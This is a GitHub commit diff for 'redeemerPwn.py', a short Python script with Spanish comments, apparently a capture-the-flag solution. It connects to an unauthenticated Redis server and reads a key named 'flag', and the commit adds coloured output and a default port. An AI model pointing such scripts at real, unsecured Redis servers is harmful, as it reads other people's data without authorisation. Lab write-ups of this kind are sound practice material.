Skip to content

Commit 4169b8e

Browse files
authored
Update redeemerPwn.py
1 parent 2bdfe7b commit 4169b8e

File tree

1 file changed

+8
-22
lines changed

1 file changed

+8
-22
lines changed

redeemerPwn.py

Lines changed: 8 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -1,21 +1,15 @@
11
#!/usr/bin/python3
2-
# Shebang - indica que el archivo debe ser interpretado con Python 3
32

43
import argparse
5-
# Importa el módulo argparse para manejar los argumentos de línea de comandos
6-
74
import redis
8-
# Importa el módulo redis para interactuar con el servidor Redis
5+
from colorama import Fore, Style
96

107
class Exploit:
118
def __init__(self, ip_address, lport):
129
self.ip_address = ip_address
1310
self.lport = lport
14-
# Inicializa la clase Exploit con una dirección IP y un puerto
1511

1612
def run(self, ip_address, lport):
17-
# Define el método "run" para ejecutar la explotación
18-
1913
# Crea una instancia del cliente Redis
2014
r = redis.Redis(host=self.ip_address, port=self.lport)
2115

@@ -24,33 +18,25 @@ def run(self, ip_address, lport):
2418

2519
# Verifica si se encontró un valor para la clave "flag"
2620
if contenido is not None:
27-
print(f"El contenido de la 'flag': {contenido.decode()}")
21+
print(Fore.GREEN + f"\nEl contenido de la 'flag': {contenido.decode()}\n" + Style.RESET_ALL)
2822
else:
29-
print("La clave 'flag' no existe en Redis.")
23+
print(Fore.RED + "La clave 'flag' no existe en Redis." + Style.RESET_ALL)
3024

3125
def get_arguments():
26+
# Función para obtener los argumentos de línea de comandos: dirección IP y puerto
3227
parser = argparse.ArgumentParser(description='Uso de AutoPwn')
33-
# Crea un objeto ArgumentParser con una descripción
34-
3528
parser.add_argument('-i', '--ip', dest='ip_address', required=True, help='IP de host remoto')
36-
# Agrega un argumento "-i" o "--ip" para la dirección IP del host remoto
37-
38-
parser.add_argument('-p', '--port', dest='lport', required=True, help='Proporcionar puerto.')
39-
# Agrega un argumento "-p" o "--port" para el puerto
40-
29+
parser.add_argument('-p', '--port', default=6379, dest='lport', required=False, help='Proporcionar puerto.')
4130
return parser.parse_args()
42-
# Devuelve los argumentos analizados
4331

4432
def main():
33+
# Función principal
4534
args = get_arguments()
46-
# Obtiene los argumentos de línea de comandos
4735

36+
# Crea una instancia de la clase Exploit y ejecuta el método run
4837
exploit = Exploit(args.ip_address, args.lport)
49-
# Crea una instancia de la clase Exploit con los argumentos proporcionados
50-
5138
exploit.run(args.ip_address, args.lport)
52-
# Ejecuta el método "run" de la instancia de la clase Exploit
5339

5440
if __name__ == '__main__':
5541
main()
56-
# Ejecuta la función main si el script se ejecuta directamente (no se importa como módulo)
42+

0 commit comments

Comments
 (0)